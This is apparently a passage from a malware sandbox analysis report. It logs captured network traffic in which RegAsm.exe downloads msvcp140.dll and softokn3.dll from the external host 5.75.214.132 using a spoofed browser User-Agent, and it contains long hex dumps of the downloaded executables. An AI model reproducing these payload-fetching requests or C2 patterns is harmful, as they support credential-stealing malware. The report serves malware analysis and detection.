89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: 00 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: e9 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: 04 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: 81 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: 0b 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-09-11 14:23:12 UTC	16384	IN	Data Raw: 10 b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	63416	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:14 UTC	244	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:14 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:14 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:23:14 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:23:14 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: 00 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mn
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: 00 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: 18 d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: 6a 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 Data Ascii: jatAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: 85 c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: f0 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: e8 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv
2024-09-11 14:23:14 UTC	16384	IN	Data Raw: f6 e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	63418	20.189.173.20	443	7252	C:\Windows\SysWOW64\WerFault.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:15 UTC	178	OUT	POST /Telemetry.Request HTTP/1.1 Connection: Keep-Alive User-Agent: MSDW MSA_DeviceTicket_Error: 0x80004004 Content-Length: 4862 Host: umwatson.events.data.microsoft.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	63419	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:15 UTC	244	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:16 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:15 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Wednesday, 11-Sep-2024 14:23:15 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-11 14:23:16 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: 7d 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 Data Ascii: }jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: 8b 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-09-11 14:23:16 UTC	16384	IN	Data Raw: f9 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 